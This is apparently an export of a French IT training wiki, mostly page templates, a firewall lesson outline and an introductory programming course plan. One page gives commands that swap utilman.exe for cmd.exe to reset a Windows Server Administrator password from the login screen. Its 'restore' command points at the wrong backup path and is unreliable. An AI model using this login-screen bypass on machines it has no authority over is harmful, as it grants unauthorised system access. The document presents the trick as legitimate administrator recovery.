<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">Difficulté\*  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté :

Notions :

</td></tr></tbody></table>

\*placer l'icône correspondant à la difficulté. supprimer cet encarts et le tableau.

<table id="bkmrk-%C2%A0d%C3%A9butant%C2%A0-%C2%A0novice%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col></colgroup><tbody><tr><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)

</td></tr><tr><td class="align-center"><span style="color: rgb(22,145,121); background-color: rgb(191,237,210);"> Débutant   
</span></td><td class="align-center"><span style="color: rgb(35,111,161); background-color: rgb(194,224,244);"> Novice   
</span></td><td class="align-center"><span style="color: rgb(230,126,35); background-color: rgb(251,238,184);"> Intermédiaire   
</span></td><td class="align-center"><span style="color: rgb(186,55,42); background-color: rgb(248,202,198);"> Confirmé   
</span></td><td class="align-center"><span style="color: rgb(52,73,94); background-color: rgb(236,240,241);"><span style="color: rgb(236,240,241); background-color: rgb(52,73,94);"> Expert </span></span></td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

<details id="bkmrk-indications-de-mise-"><summary>Indications de mise en page (peut être supprimé)</summary>

> *Ceci est une citation.*
> 
>  *- par \*\*\*\*\**

<p class="callout info">*Ceci est une information.*</p>

<p class="callout success">*Ceci est une astuce ou optimisation.*</p>

<p class="callout warning">*Ceci est est un avertissement.*</p>

<p class="callout danger">*Ceci est un prérequis.*</p>

```
Ceci est un bloc de code
une série de commandes
```

<details id="bkmrk-ceci-est-une-section"><summary>Ceci est une section repliable pour une étape optionnelle ou un fichier de configuration</summary>

```
Ceci
est
un
fichier
de
configuration
```

</details><table id="bkmrk-colonne-1-colonne-2-" style="border-collapse: collapse; width: 100%; height: 59.6px;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**colonne 1**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 2**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 3**</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">ceci</td><td style="height: 29.8px;">est  
</td><td style="height: 29.8px;">un tableau</td></tr></tbody></table>

</details><table id="bkmrk-pr%C3%A9requis-mat%C3%A9riels-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50.0596%;"></col><col style="width: 50.0596%;"></col></colgroup><tbody><tr><td class="align-center" colspan="2" style="background-color: rgb(248,202,198);">**Prérequis Matériels**</td></tr><tr><td class="align-center" style="background-color: rgb(194,224,244);">core</td><td class="align-center" style="background-color: rgb(194,224,244);">GUI</td></tr><tr><td class="align-left">- 1 vcpu
- 2 Gb RAM
- 20Gb dd

</td><td class="align-left">- 2 à 4 vcpu
- 2 à 4 Gb RAM
- 60Gb dd

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. Chapitre1</span>**</span>

#### <span style="color: rgb(35,111,161);">**2.1 Section 1**</span>

##### <span style="color: rgb(53,152,219);">*2.1.1 Sous-section*</span>

# Rôle / Service

# Active Directory - Montée du niveau fonctionnel

# Sécurité

# Sécurité - Conduire un audit de cybersécurité



# Sécurité - Le Firewall

- intro
- définition
- rôle
- changement de doctrine ( périmètre vs en profondeur ) 
    - micro segementation, zero trust.
- Fonctionnement 
    - tables, ordre de lecture
    - règles, ordre de lecture
    - shadowing
- Logging

# Système

# Système - Un Système d'exploitation

<p class="callout danger">***<span style="color: rgb(52,73,94);">DISCLAIMER :<span lang="fr"> </span><span lang="fr">Cette page est en cours de rédaction et son contenu peut être faux ou inexact. Merci de lire cette page avec toutes les précautions nécessaires.</span></span>***</p>

<p class="callout info">Titre de la page : &lt;Techno&gt; - &lt;Titre de la procédure / du cours&gt; (à supprimer une fois le titre placé)  
</p>

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">Difficulté\*  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté :

Notions :

</td></tr></tbody></table>

\*placer l'icône correspondant à la difficulté. supprimer cet encarts et le tableau.

<table id="bkmrk-%C2%A0d%C3%A9butant%C2%A0-%C2%A0novice%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col></colgroup><tbody><tr><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)

</td></tr><tr><td class="align-center"><span style="color: rgb(22,145,121); background-color: rgb(191,237,210);"> Débutant   
</span></td><td class="align-center"><span style="color: rgb(35,111,161); background-color: rgb(194,224,244);"> Novice   
</span></td><td class="align-center"><span style="color: rgb(230,126,35); background-color: rgb(251,238,184);"> Intermédiaire   
</span></td><td class="align-center"><span style="color: rgb(186,55,42); background-color: rgb(248,202,198);"> Confirmé   
</span></td><td class="align-center"><span style="color: rgb(52,73,94); background-color: rgb(236,240,241);"><span style="color: rgb(236,240,241); background-color: rgb(52,73,94);"> Expert </span></span></td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

<details id="bkmrk-indications-de-mise-"><summary>Indications de mise en page (peut être supprimé)</summary>

> *Ceci est une citation.*
> 
>  *- par \*\*\*\*\**

<p class="callout info">*Ceci est une information.*</p>

<p class="callout success">*Ceci est une astuce ou optimisation.*</p>

<p class="callout warning">*Ceci est est un avertissement.*</p>

<p class="callout danger">*Ceci est un prérequis.*</p>

```
Ceci est un bloc de code
une série de commandes
```

<details id="bkmrk-ceci-est-une-section"><summary>Ceci est une section repliable pour une étape optionnelle ou un fichier de configuration</summary>

```
Ceci
est
un
fichier
de
configuration
```

</details><table id="bkmrk-colonne-1-colonne-2-" style="border-collapse: collapse; width: 100%; height: 59.6px;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**colonne 1**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 2**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 3**</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">ceci</td><td style="height: 29.8px;">est  
</td><td style="height: 29.8px;">un tableau</td></tr></tbody></table>

</details><table id="bkmrk-pr%C3%A9requis-mat%C3%A9riels-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50.0596%;"></col><col style="width: 50.0596%;"></col></colgroup><tbody><tr><td class="align-center" colspan="2" style="background-color: rgb(248,202,198);">**Prérequis Matériels**</td></tr><tr><td class="align-center" style="background-color: rgb(194,224,244);">core</td><td class="align-center" style="background-color: rgb(194,224,244);">GUI</td></tr><tr><td class="align-left">- 1 vcpu
- 2 Gb RAM
- 20Gb dd

</td><td class="align-left">- 2 à 4 vcpu
- 2 à 4 Gb RAM
- 60Gb dd

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. Chapitre1</span>**</span>

#### <span style="color: rgb(35,111,161);">**2.1 Section 1**</span>

##### <span style="color: rgb(53,152,219);">*2.1.1 Sous-section*</span>

# Windows - Réinitialiser mot de passe admin perdu

Part 1: Reset lost Windows 2019 server password with installation DVD

Microsoft understands how important your computer is, and provides you with Installation DVD disk to bypass the lost password and regain access to Windows Server 2019. If you have such a disk at hand, you're lucky enough.

Here's everything you need to know about resetting forgotten Windows 2019 Server password using installation CD.

- - Insert the installation DVD into your Windows Server 2019 computer.
    - Start the machine and press key (F2, F1, ESC, etc) to enter BIOS SETUP utility. Use the arrow key to select the DVD as first boot order and hit Enter.
    - After your computer boots from the disc, select your language and keyboard and then Next.
    - Select Repair your computer at the lower left corner.
    - Select Troubleshoot and then choose Command Prompt.
    - Execute the following two commands, and press Enter after each.

`move c:\windows\system32\utilman.exe c:\windows\system32\utilman.exe.bak`

`copy c:\windows\system32\cmd.exe c:\windows\system32\utilman.exe`

- - Remove the disc and run command `wpeutil reboot` to restart your computer.
    - When login screen appears, click Ease of Access icon at the lower right corner (or Windows Key + U) to open a Command Prompt.
    - Execute the net user command as shown to reset the Windows Server 2019 Administrator password. Replace Appgeeker with whatever new password you want.

`net user Administrator Appgeeker`

- Close the Command Prompt window.
- Log in to Windows 2019 server with your new password!

Don't forget to reverse the changes you've made, you can access to Command Prompt again and execute the following:

`copy c:\utilman.exe c:\windows\system32\utilman.exe`

If you don't have a installation DVD or can't access the command prompts to reset Administrator password from Windows 2019 Server, you may have to turn to a professional password reset service.

# DEv & scripting

# Dev&script - Introduction à la programation

<p class="callout danger">***<span style="color: rgb(52,73,94);">DISCLAIMER :<span lang="fr"> </span><span lang="fr">Cette page est en cours de rédaction et son contenu peut être faux ou inexact. Merci de lire cette page avec toutes les précautions nécessaires.</span></span>***</p>

<p class="callout info">Titre de la page : &lt;Techno&gt; - &lt;Titre de la procédure / du cours&gt; (à supprimer une fois le titre placé)  
</p>

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">Difficulté\*  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté :

Notions :

</td></tr></tbody></table>

\*placer l'icône correspondant à la difficulté. supprimer cet encarts et le tableau.

<table id="bkmrk-%C2%A0d%C3%A9butant%C2%A0-%C2%A0novice%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col></colgroup><tbody><tr><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)

</td></tr><tr><td class="align-center"><span style="color: rgb(22,145,121); background-color: rgb(191,237,210);"> Débutant   
</span></td><td class="align-center"><span style="color: rgb(35,111,161); background-color: rgb(194,224,244);"> Novice   
</span></td><td class="align-center"><span style="color: rgb(230,126,35); background-color: rgb(251,238,184);"> Intermédiaire   
</span></td><td class="align-center"><span style="color: rgb(186,55,42); background-color: rgb(248,202,198);"> Confirmé   
</span></td><td class="align-center"><span style="color: rgb(52,73,94); background-color: rgb(236,240,241);"><span style="color: rgb(236,240,241); background-color: rgb(52,73,94);"> Expert </span></span></td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

<details id="bkmrk-indications-de-mise-"><summary>Indications de mise en page (peut être supprimé)</summary>

> *Ceci est une citation.*
> 
>  *- par \*\*\*\*\**

<p class="callout info">*Ceci est une information.*</p>

<p class="callout success">*Ceci est une astuce ou optimisation.*</p>

<p class="callout warning">*Ceci est est un avertissement.*</p>

<p class="callout danger">*Ceci est un prérequis.*</p>

```
Ceci est un bloc de code
une série de commandes
```

<details id="bkmrk-ceci-est-une-section"><summary>Ceci est une section repliable pour une étape optionnelle ou un fichier de configuration</summary>

```
Ceci
est
un
fichier
de
configuration
```

</details><table id="bkmrk-colonne-1-colonne-2-" style="border-collapse: collapse; width: 100%; height: 59.6px;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**colonne 1**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 2**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 3**</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">ceci</td><td style="height: 29.8px;">est  
</td><td style="height: 29.8px;">un tableau</td></tr></tbody></table>

</details><table id="bkmrk-pr%C3%A9requis-mat%C3%A9riels-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50.0596%;"></col><col style="width: 50.0596%;"></col></colgroup><tbody><tr><td class="align-center" colspan="2" style="background-color: rgb(248,202,198);">**Prérequis Matériels**</td></tr><tr><td class="align-center" style="background-color: rgb(194,224,244);">core</td><td class="align-center" style="background-color: rgb(194,224,244);">GUI</td></tr><tr><td class="align-left">- 1 vcpu
- 2 Gb RAM
- 20Gb dd

</td><td class="align-left">- 2 à 4 vcpu
- 2 à 4 Gb RAM
- 60Gb dd

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. Chapitre1</span>**</span>

#### <span style="color: rgb(35,111,161);">**2.1 Section 1**</span>

##### <span style="color: rgb(53,152,219);">*2.1.1 Sous-section*</span>

## 1️⃣ Comprendre ce qu’est un programme et un langage

### 🎯 Objectif de la section

<span style="white-space: pre-wrap;">Donner aux étudiants une vision claire de ce qu’est la programmation, pourquoi elle existe, et comment les langages ont évolué.</span>

### 📝 Résumé

<span style="white-space: pre-wrap;">On explique la notion de **machine**, de **binaire**, puis l’apparition de l’assembleur et des langages haut niveau. Les étudiants comprennent que programmer, c’est **donner des instructions à une machine**, et que les langages sont des outils pour simplifier cette communication.</span>

### 📌 Points clés

- <span style="white-space: pre-wrap;">Qu’est-ce qu’un programme ?</span>
- <span style="white-space: pre-wrap;">Binaire → assembleur → langages haut niveau</span>
- <span style="white-space: pre-wrap;">Pourquoi les langages évoluent</span>
- <span style="white-space: pre-wrap;">Notion de compilation/interprétation (premier aperçu)</span>

<div id="bkmrk--4">  
</div>## 2️⃣ Modes d’exécution : compilé vs interprété

### 🎯 Objectif

<span style="white-space: pre-wrap;">Comprendre comment un programme “vit” et s’exécute.</span>

### 📝 Résumé

<span style="white-space: pre-wrap;">On distingue les langages **compilés** (transformés en binaire avant exécution) et **interprétés** (lus ligne par ligne). On montre les impacts sur la vitesse, la portabilité, et les usages.</span>

### 📌 Points clés

- <span style="white-space: pre-wrap;">Compilation : C, Rust, Go</span>
- <span style="white-space: pre-wrap;">Interprétation : Python, JavaScript</span>
- <span style="white-space: pre-wrap;">Cas hybrides : Java, C#, PHP</span>
- <span style="white-space: pre-wrap;">Avantages / inconvénients</span>
- <span style="white-space: pre-wrap;">Impact sur le développement</span>

<div id="bkmrk--5">  
</div>## 3️⃣ Domaines de programmation : frontend, backend, scripts, mobile, IA

### 🎯 Objectif

<span style="white-space: pre-wrap;">Montrer que “coder” n’est pas une seule activité, mais une multitude de métiers et de contextes.</span>

### 📝 Résumé

<span style="white-space: pre-wrap;">On présente les grands domaines : **frontend**, **backend**, **DevOps**, **mobile**, **embarqué**, **IA**, etc. Les étudiants comprennent où se situent les langages et pourquoi certains sont spécialisés.</span>

### 📌 Points clés

- <span style="white-space: pre-wrap;">Frontend : HTML, CSS, JS</span>
- <span style="white-space: pre-wrap;">Backend : Python, PHP, Java, Node.js</span>
- <span style="white-space: pre-wrap;">DevOps : Bash, YAML, Terraform</span>
- <span style="white-space: pre-wrap;">Mobile : Swift, Kotlin</span>
- <span style="white-space: pre-wrap;">Embarqué : C, MicroPython</span>
- <span style="white-space: pre-wrap;">IA : Python, R</span>
- <span style="white-space: pre-wrap;">Vision globale des écosystèmes</span>

<div id="bkmrk--6">  
</div>## 4️⃣ Paradigmes de programmation

### 🎯 Objectif

<span style="white-space: pre-wrap;">Comprendre les différentes façons de structurer la pensée algorithmique.</span>

### 📝 Résumé

<span style="white-space: pre-wrap;">On introduit les paradigmes : **procédural**, **objet**, **fonctionnel**, **déclaratif**. On montre que ce sont des manières de penser le code, pas des langages.</span>

### 📌 Points clés

- <span style="white-space: pre-wrap;">Procédural : séquences, fonctions</span>
- <span style="white-space: pre-wrap;">Objet : classes, instances, encapsulation</span>
- <span style="white-space: pre-wrap;">Fonctionnel : immutabilité, fonctions pures</span>
- <span style="white-space: pre-wrap;">Déclaratif : “dire ce qu’on veut”, pas “comment le faire”</span>
- <span style="white-space: pre-wrap;">Transition naturelle vers SQL</span>

<div id="bkmrk--7">  
</div>## 5️⃣ Formats de données et langages descriptifs

### 🎯 Objectif

<span style="white-space: pre-wrap;">Comprendre comment les programmes échangent, stockent et décrivent des données.</span>

### 📝 Résumé

<span style="white-space: pre-wrap;">On présente JSON, YAML, XML, CSV. Les étudiants voient la différence entre **langages de programmation** et **langages descriptifs**.</span>

### 📌 Points clés

- <span style="white-space: pre-wrap;">JSON : structure de données</span>
- <span style="white-space: pre-wrap;">YAML : configuration</span>
- <span style="white-space: pre-wrap;">XML : historique, encore utilisé</span>
- <span style="white-space: pre-wrap;">CSV : données tabulaires</span>
- <span style="white-space: pre-wrap;">Pourquoi ces formats sont essentiels (API, DevOps, config)</span>

<div id="bkmrk--8">  
</div>## 6️⃣ SQL : le langage déclaratif de la donnée

### 🎯 Objectif

<span style="white-space: pre-wrap;">Comprendre comment on interagit avec une base de données.</span>

### 📝 Résumé

<span style="white-space: pre-wrap;">SQL est un langage **déclaratif** : on décrit le résultat souhaité. On introduit les requêtes simples et la logique relationnelle.</span>

### 📌 Points clés

- <span style="white-space: pre-wrap;">SQL ≠ langage de programmation</span>
- <span style="white-space: pre-wrap;">SELECT, INSERT, UPDATE, DELETE</span>
- <span style="white-space: pre-wrap;">Tables, relations, clés</span>
- <span style="white-space: pre-wrap;">Lien avec backend et API</span>
- <span style="white-space: pre-wrap;">Pourquoi SQL est incontournable</span>

<div id="bkmrk--9">  
</div>## 7️⃣ Vibe coding, no-code et low-code

### 🎯 Objectif

<span style="white-space: pre-wrap;">Montrer les outils modernes qui permettent de créer sans écrire du code traditionnel.</span>

### 📝 Résumé

<span style="white-space: pre-wrap;">On présente les plateformes visuelles (Node-RED, n8n, Make, Zapier) et les outils IA (Copilot, ChatGPT). Les étudiants comprennent que coder aujourd’hui, c’est aussi **composer**, **assembler**, **automatiser**.</span>

### 📌 Points clés

- <span style="white-space: pre-wrap;">Node-RED : programmation par flux</span>
- <span style="white-space: pre-wrap;">n8n / Make : automatisation visuelle</span>
- <span style="white-space: pre-wrap;">Zapier : intégration d’applications</span>
- <span style="white-space: pre-wrap;">IA + code : génération, assistance, correction</span>
- <span style="white-space: pre-wrap;">Comment ces outils démocratisent la programmation</span>

<div id="bkmrk--10">  
</div># 🎓 **Synthèse générale du cours**

<span style="white-space: pre-wrap;">Ce cours donne une vision complète de la programmation moderne :</span>

- <span style="white-space: pre-wrap;">d’où elle vient</span>
- <span style="white-space: pre-wrap;">comment elle fonctionne</span>
- <span style="white-space: pre-wrap;">où elle s’applique</span>
- <span style="white-space: pre-wrap;">comment les données circulent</span>
- <span style="white-space: pre-wrap;">comment les paradigmes structurent la pensée</span>
- <span style="white-space: pre-wrap;">comment coder aujourd’hui peut être visuel, assisté, ou automatisé</span>

<span style="white-space: pre-wrap;">C’est une progression **logique**</span>

# Dev&Script - Les systèmes d'encodages